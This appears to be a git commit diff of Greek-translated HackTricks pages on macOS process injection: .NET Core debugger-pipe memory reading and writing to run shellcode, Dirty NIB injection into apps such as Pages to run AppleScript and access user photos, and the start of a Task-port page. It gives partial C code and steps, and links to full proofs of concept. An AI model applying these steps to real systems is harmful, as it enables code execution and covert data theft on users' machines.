Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-07-19 05:34:02 +00:00
parent 29ce38aa79
commit 039c933a3d
82 changed files with 3327 additions and 3211 deletions

View file

@ -1,30 +1,31 @@
# Εισαγωγή σε εφαρμογές .Net στο macOS
# macOS .Net Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Αυτό είναι ένα σύνοψη του άρθρου [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Ελέγξτε το για περισσότερες λεπτομέρειες!**
**Αυτή είναι μια περίληψη της ανάρτησης [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Ελέγξτε την για περισσότερες λεπτομέρειες!**
## Αποσφαλμάτωση .NET Core <a href="#net-core-debugging" id="net-core-debugging"></a>
## .NET Core Debugging <a href="#net-core-debugging" id="net-core-debugging"></a>
### **Δημιουργία μιας συνεδρίας αποσφαλμάτωσης** <a href="#net-core-debugging" id="net-core-debugging"></a>
### **Establishing a Debugging Session** <a href="#net-core-debugging" id="net-core-debugging"></a>
Η διαχείριση της επικοινωνίας μεταξύ αποσφαλματωτή και αποσφαλματούμενου στο .NET γίνεται από το [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Αυτό το στοιχείο δημιουργεί δύο ονομασμένα αγωγούς ανά .NET διεργασία, όπως φαίνεται στο [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), οι οποίοι εκκινούν μέσω του [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Αυτοί οι αγωγοί έχουν ως επίθεμα τα **`-in`** και **`-out`**.
Η διαχείριση της επικοινωνίας μεταξύ του debugger και του debuggee στο .NET γίνεται από το [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Αυτό το συστατικό ρυθμίζει δύο ονομαστικούς σωλήνες ανά διαδικασία .NET όπως φαίνεται στο [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), οι οποίοι ξεκινούν μέσω του [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Αυτοί οι σωλήνες έχουν το επίθημα **`-in`** και **`-out`**.
Επισκεπτόμενοι το **`$TMPDIR`** του χρήστη, μπορεί κανείς να βρει τους αγωγούς αποσφαλμάτωσης που είναι διαθέσιμοι για την αποσφαλμάτωση εφαρμογών .Net.
Επισκεπτόμενος το **`$TMPDIR`** του χρήστη, μπορεί κανείς να βρει διαθέσιμα FIFOs αποσφαλμάτωσης για εφαρμογές .Net.
Ο [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) είναι υπεύθυνος για τη διαχείριση της επικοινωνίας από έναν αποσφαλματωτή. Για να ξεκινήσει μια νέα συνεδρία αποσφαλμάτωσης, ένας αποσφαλματωτής πρέπει να στείλει ένα μήνυμα μέσω του αγωγού `out` που ξεκινά με μια δομή `MessageHeader`, η οποία περιγράφεται λεπτομερώς στον πηγαίο κώδικα του .NET:
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) είναι υπεύθυνος για τη διαχείριση της επικοινωνίας από έναν debugger. Για να ξεκινήσει μια νέα συνεδρία αποσφαλμάτωσης, ένας debugger πρέπει να στείλει ένα μήνυμα μέσω του σωλήνα `out` που ξεκινά με μια δομή `MessageHeader`, λεπτομερώς στον πηγαίο κώδικα .NET:
```c
struct MessageHeader {
MessageType m_eType; // Message type
@ -43,7 +44,7 @@ DWORD m_dwMinorVersion;
BYTE m_sMustBeZero[8];
}
```
Για να ζητηθεί μια νέα συνεδρία, αυτή η δομή συμπληρώνεται ως εξής, ορίζοντας τον τύπο μηνύματος σε `MT_SessionRequest` και την έκδοση πρωτοκόλλου στην τρέχουσα έκδοση:
Για να ζητήσετε μια νέα συνεδρία, αυτή η δομή συμπληρώνεται ως εξής, ορίζοντας τον τύπο μηνύματος σε `MT_SessionRequest` και την έκδοση πρωτοκόλλου στην τρέχουσα έκδοση:
```c
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
```
Αυτή η κεφαλίδα στέλνεται στον στόχο χρησιμοποιώντας την κλήση συστήματος `write`, ακολουθούμενη από τη δομή `sessionRequestData` που περιέχει ένα GUID για τη συνεδρία:
Αυτή η κεφαλίδα αποστέλλεται στη συνέχεια στον στόχο χρησιμοποιώντας την κλήση συστήματος `write`, ακολουθούμενη από τη δομή `sessionRequestData` που περιέχει ένα GUID για τη συνεδρία:
```c
write(wr, &sSendHeader, sizeof(MessageHeader));
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
write(wr, &sDataBlock, sizeof(SessionRequestData));
```
Μια λειτουργία ανάγνωσης στο αγωγό `out` επιβεβαιώνει την επιτυχία ή την αποτυχία της διαδικασίας αποσφαλμάτωσης:
Μια λειτουργία ανάγνωσης στον σωλήνα `out` επιβεβαιώνει την επιτυχία ή αποτυχία της εγκατάστασης της συνεδρίας αποσφαλμάτωσης:
```c
read(rd, &sReceiveHeader, sizeof(MessageHeader));
```
## Ανάγνωση Μνήμης
Μόλις έχει δημιουργηθεί μια συνεδρία αποσφαλμάτωσης, η μνήμη μπορεί να διαβαστεί χρησιμοποιώντας τον τύπο μηνύματος [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Η συνάρτηση readMemory είναι λεπτομερής, εκτελώντας τα απαραίτητα βήματα για να στείλει ένα αίτημα ανάγνωσης και να ανακτήσει την απόκριση:
## Reading Memory
Μόλις καθοριστεί μια συνεδρία αποσφαλμάτωσης, η μνήμη μπορεί να διαβαστεί χρησιμοποιώντας τον τύπο μηνύματος [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Η συνάρτηση readMemory είναι λεπτομερής, εκτελώντας τα απαραίτητα βήματα για να στείλει ένα αίτημα ανάγνωσης και να ανακτήσει την απάντηση:
```c
bool readMemory(void *addr, int len, unsigned char **output) {
// Allocation and initialization
@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) {
return true;
}
```
Η πλήρης απόδειξη του concept (POC) είναι διαθέσιμη [εδώ](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
The complete proof of concept (POC) is available [here](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
## Εγγραφή Μνήμης
## Writing Memory
Αντίστοιχα, η μνήμη μπορεί να εγγραφεί χρησιμοποιώντας τη συνάρτηση `writeMemory`. Η διαδικασία περιλαμβάνει την ρύθμιση του τύπου μηνύματος σε `MT_WriteMemory`, τον καθορισμό της διεύθυνσης και του μήκους των δεδομένων, και στη συνέχεια την αποστολή των δεδομένων:
Ομοίως, η μνήμη μπορεί να γραφτεί χρησιμοποιώντας τη συνάρτηση `writeMemory`. Η διαδικασία περιλαμβάνει την ρύθμιση του τύπου μηνύματος σε `MT_WriteMemory`, καθορίζοντας τη διεύθυνση και το μήκος των δεδομένων, και στη συνέχεια στέλνοντας τα δεδομένα:
```c
bool writeMemory(void *addr, int len, unsigned char *input) {
// Increment IDs, set message type, and specify memory location
@ -93,37 +94,38 @@ bool writeMemory(void *addr, int len, unsigned char *input) {
return true;
}
```
Το σχετικό POC είναι διαθέσιμο [εδώ](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
Η σχετική POC είναι διαθέσιμη [εδώ](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
## Εκτέλεση κώδικα .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
## .NET Core Εκτέλεση Κώδικα <a href="#net-core-code-execution" id="net-core-code-execution"></a>
Για να εκτελέσετε κώδικα, πρέπει να εντοπίσετε μια περιοχή μνήμης με δικαιώματα rwx, το οποίο μπορεί να γίνει χρησιμοποιώντας την εντολή vmmap -pages:
Για να εκτελέσετε κώδικα, πρέπει να εντοπίσετε μια περιοχή μνήμης με άδειες rwx, κάτι που μπορεί να γίνει χρησιμοποιώντας vmmap -pages:
```bash
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
```
Είναι απαραίτητο να εντοπιστεί ένα σημείο για την αντικατάσταση ενός δείκτη συνάρτησης, και στο .NET Core αυτό μπορεί να γίνει στο **Dynamic Function Table (DFT)**. Αυτός ο πίνακας, που περιγράφεται στο [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), χρησιμοποιείται από το runtime για τις βοηθητικές συναρτήσεις JIT μεταγλώττισης.
Είναι απαραίτητο να εντοπιστεί μια τοποθεσία για να αντικατασταθεί ένας δείκτης συνάρτησης και στο .NET Core, αυτό μπορεί να γίνει στοχεύοντας τον **Dynamic Function Table (DFT)**. Αυτός ο πίνακας, που περιγράφεται στο [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), χρησιμοποιείται από το runtime για τις βοηθητικές συναρτήσεις JIT compilation.
Για συστήματα x64, μπορεί να χρησιμοποιηθεί η τεχνική του signature hunting για να βρεθεί μια αναφορά στο σύμβολο `_hlpDynamicFuncTable` στο `libcorclr.dll`.
Για συστήματα x64, η αναζήτηση υπογραφών μπορεί να χρησιμοποιηθεί για να βρεθεί μια αναφορά στο σύμβολο `_hlpDynamicFuncTable` στο `libcorclr.dll`.
Η συνάρτηση αποσφαλμάτωσης `MT_GetDCB` παρέχει χρήσιμες πληροφορίες, συμπεριλαμβανομένης της διεύθυνσης μιας βοηθητικής συνάρτησης, `m_helperRemoteStartAddr`, που υποδεικνύει την τοποθεσία του `libcorclr.dll` στη μνήμη της διεργασίας. Αυτή η διεύθυνση χρησιμοποιείται στη συνέχεια για να ξεκινήσει η αναζήτηση του DFT και η αντικατάσταση ενός δείκτη συνάρτησης με τη διεύθυνση του shellcode.
Η συνάρτηση debugger `MT_GetDCB` παρέχει χρήσιμες πληροφορίες, συμπεριλαμβανομένης της διεύθυνσης μιας βοηθητικής συνάρτησης, `m_helperRemoteStartAddr`, που υποδεικνύει την τοποθεσία του `libcorclr.dll` στη μνήμη της διαδικασίας. Αυτή η διεύθυνση χρησιμοποιείται στη συνέχεια για να ξεκινήσει μια αναζήτηση για τον DFT και να αντικατασταθεί ένας δείκτης συνάρτησης με τη διεύθυνση του shellcode.
Ο πλήρης κώδικας POC για ενσωμάτωση στο PowerShell είναι προσβάσιμος [εδώ](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
Ο πλήρης κωδικός POC για την ένεση στο PowerShell είναι προσβάσιμος [εδώ](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
## Αναφορές
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# macOS Dirty NIB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Για περισσότερες λεπτομέρειες σχετικά με την τεχνική, ελέγξτε την αρχική ανάρτηση από: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Εδώ υπάρχει ένα σύνοψη:
**Για περισσότερες λεπτομέρειες σχετικά με την τεχνική, ελέγξτε την αρχική ανάρτηση από: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Ακολουθεί μια περίληψη:
Τα αρχεία NIB, που ανήκουν στο αναπτυξιακό οικοσύστημα της Apple, προορίζονται για τον καθορισμό των **στοιχείων του χρήστικού περιβάλλοντος** και των αλληλεπιδράσεών τους στις εφαρμογές. Περιλαμβάνουν αντικείμενα που έχουν σειριοποιηθεί, όπως παράθυρα και κουμπιά, και φορτώνονται κατά την εκτέλεση. Παρά τη συνεχή χρήση τους, η Apple προτείνει πλέον τα Storyboards για μια πιο ολοκληρωμένη οπτικοποίηση της ροής του χρήστη.
Τα αρχεία NIB, μέρος του οικοσυστήματος ανάπτυξης της Apple, προορίζονται για τον καθορισμό **στοιχείων UI** και των αλληλεπιδράσεών τους σε εφαρμογές. Περιλαμβάνουν σειριοποιημένα αντικείμενα όπως παράθυρα και κουμπιά, και φορτώνονται κατά την εκτέλεση. Παρά τη συνεχιζόμενη χρήση τους, η Apple τώρα προτείνει τα Storyboards για πιο ολοκληρωμένη οπτικοποίηση ροής UI.
### Ανησυχίες ασφαλείας με τα αρχεία NIB
Είναι σημαντικό να σημειωθεί ότι τα αρχεία NIB μπορούν να αποτελέσουν κίνδυνο για την ασφάλεια. Έχουν τη δυνατότητα να **εκτελέσουν αυθαίρετες εντολές**, και οι αλλαγές στα αρχεία NIB μέσα σε μια εφαρμογή δεν εμποδίζουν τον Gatekeeper από την εκτέλεση της εφαρμογής, δημιουργώντας ένα σημαντικό απειλητικό περιβάλλον.
### Ανησυχίες Ασφαλείας με τα Αρχεία NIB
Είναι κρίσιμο να σημειωθεί ότι **τα αρχεία NIB μπορεί να είναι κίνδυνος ασφαλείας**. Έχουν τη δυνατότητα να **εκτελούν αυθαίρετες εντολές**, και οι τροποποιήσεις στα αρχεία NIB εντός μιας εφαρμογής δεν εμποδίζουν τον Gatekeeper από την εκτέλεση της εφαρμογής, θέτοντας μια σημαντική απειλή.
### Διαδικασία Dirty NIB Injection
#### Δημιουργία και Ρύθμιση ενός αρχείου NIB
1. **Αρχική ρύθμιση**:
### Διαδικασία Εισαγωγής Dirty NIB
#### Δημιουργία και Ρύθμιση ενός Αρχείου NIB
1. **Αρχική Ρύθμιση**:
- Δημιουργήστε ένα νέο αρχείο NIB χρησιμοποιώντας το XCode.
- Προσθέστε ένα αντικείμενο στη διεπαφή, ορίζοντας την κλάση του σε `NSAppleScript`.
- Διαμορφώστε την αρχική ιδιότητα `source` μέσω των Ορισμένων Χρονικών Χαρακτηριστικών Εκτέλεσης του Χρήστη.
- Προσθέστε ένα Αντικείμενο στη διεπαφή, ρυθμίζοντας την κλάση του σε `NSAppleScript`.
- Ρυθμίστε την αρχική ιδιότητα `source` μέσω των Χαρακτηριστικών Χρόνου Εκτέλεσης που Ορίζονται από τον Χρήστη.
2. **Κωδικός εκτέλεσης**:
- Η ρύθμιση διευκολύνει την εκτέλεση του AppleScript κατά παραγγελία.
- Ενσωματώστε ένα κουμπί για να ενεργοποιήσετε το αντικείμενο `Apple Script`, ενεργοποιώντας ειδικά τον επιλογέα `executeAndReturnError:`.
2. **Gadget Εκτέλεσης Κώδικα**:
- Η ρύθμιση διευκολύνει την εκτέλεση AppleScript κατόπιν αιτήματος.
- Ενσωματώστε ένα κουμπί για να ενεργοποιήσετε το αντικείμενο `Apple Script`, ενεργοποιώντας συγκεκριμένα τον επιλεγέα `executeAndReturnError:`.
3. **Δοκιμή**:
- Ένα απλό Apple Script για δοκιμαστικούς σκοπούς:
@ -38,18 +39,50 @@
set theDialogText to "PWND"
display dialog theDialogText
```
- Δοκιμάστε το τρέχοντα στον αποσφαλματωτή του XCode και κάντε κλικ στο κουμπί.
- Δοκιμάστε τρέχοντας στον αποσφαλματωτή XCode και κάνοντας κλικ στο κουμπί.
#### Στόχευση μιας εφαρμογής (παράδειγμα: Pages)
#### Στοχοποίηση μιας Εφαρμογής (Παράδειγμα: Pages)
1. **Προετοιμασία**:
- Αντιγράψτε την επιθυμητή εφαρμογή (π.χ., Pages) σε έναν ξεχωριστό κατάλογο (π.χ., `/tmp/`).
- Εκκινήστε την εφαρμογή για να αποφύγετε προβλήματα με τον Gatekeeper και να την κρατήσετε στην προσωρινή μνήμη.
- Αντιγράψτε την στοχοθετημένη εφαρμογή (π.χ., Pages) σε έναν ξεχωριστό φάκελο (π.χ., `/tmp/`).
- Ξεκινήστε την εφαρμογή για να παρακάμψετε τα προβλήματα του Gatekeeper και να την αποθηκεύσετε στην κρυφή μνήμη.
2. **Αντικατάσταση αρχείου NIB**:
- Αντικαταστήστε ένα υπάρχον αρχείο NIB (π.χ., About Panel NIB) με το δημιουργημένο αρχείο DirtyNIB.
2. **Αντικατάσταση Αρχείου NIB**:
- Αντικαταστήστε ένα υπάρχον αρχείο NIB (π.χ., About Panel NIB) με το κατασκευασμένο αρχείο DirtyNIB.
3. **Εκτέλεση**:
- Ενεργοποιήστε την εκτέλεση αλληλεπίδρασης με την εφαρμογή (π.χ., επιλέγοντας το στοιχείο μενού `About`).
- Ενεργοποιήστε την εκτέλεση αλληλεπιδρώντας με την εφαρμογή (π.χ., επιλέγοντας το στοιχείο μενού `About`).
#### Απόδειξη Έννοιας: Πρόσβαση σε Δεδομένα Χρήστη
- Τροποποιήστε το AppleScript για να αποκτήσετε πρόσβαση και να εξαγάγετε δεδομένα χρήστη, όπ
#### Απόδειξη της Έννοιας: Πρόσβαση σε Δεδομένα Χρήστη
- Τροποποιήστε το AppleScript για να αποκτήσετε πρόσβαση και να εξάγετε δεδομένα χρήστη, όπως φωτογραφίες, χωρίς τη συγκατάθεση του χρήστη.
### Δείγμα Κώδικα: Κακόβουλο Αρχείο .xib
- Αποκτήστε πρόσβαση και ελέγξτε ένα [**δείγμα κακόβουλου αρχείου .xib**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) που δείχνει την εκτέλεση αυθαίρετου κώδικα.
### Αντιμετώπιση Περιορισμών Εκκίνησης
- Οι Περιορισμοί Εκκίνησης εμποδίζουν την εκτέλεση εφαρμογών από απροσδόκητες τοποθεσίες (π.χ., `/tmp`).
- Είναι δυνατόν να εντοπιστούν εφαρμογές που δεν προστατεύονται από Περιορισμούς Εκκίνησης και να στοχοποιηθούν για εισαγωγή αρχείου NIB.
### Πρόσθετες Προστασίες macOS
Από το macOS Sonoma και μετά, οι τροποποιήσεις μέσα σε πακέτα εφαρμογών είναι περιορισμένες. Ωστόσο, οι προηγούμενες μέθοδοι περιλάμβαναν:
1. Αντιγραφή της εφαρμογής σε διαφορετική τοποθεσία (π.χ., `/tmp/`).
2. Μετονομασία φακέλων εντός του πακέτου εφαρμογής για να παρακαμφθούν οι αρχικές προστασίες.
3. Μετά την εκτέλεση της εφαρμογής για να καταχωρηθεί με τον Gatekeeper, τροποποίηση του πακέτου εφαρμογής (π.χ., αντικατάσταση του MainMenu.nib με το Dirty.nib).
4. Επαναφορά των φακέλων και επανεκτέλεση της εφαρμογής για να εκτελεστεί το εισαγόμενο αρχείο NIB.
**Σημείωση**: Οι πρόσφατες ενημερώσεις του macOS έχουν μετριάσει αυτήν την εκμετάλλευση αποτρέποντας τις τροποποιήσεις αρχείων εντός των πακέτων εφαρμογών μετά την αποθήκευση στην κρυφή μνήμη του Gatekeeper, καθιστώντας την εκμετάλλευση αναποτελεσματική.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,50 +1,63 @@
# macOS Εισαγωγή Νήματος μέσω της Θύρας Task
# macOS Thread Injection via Task port
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
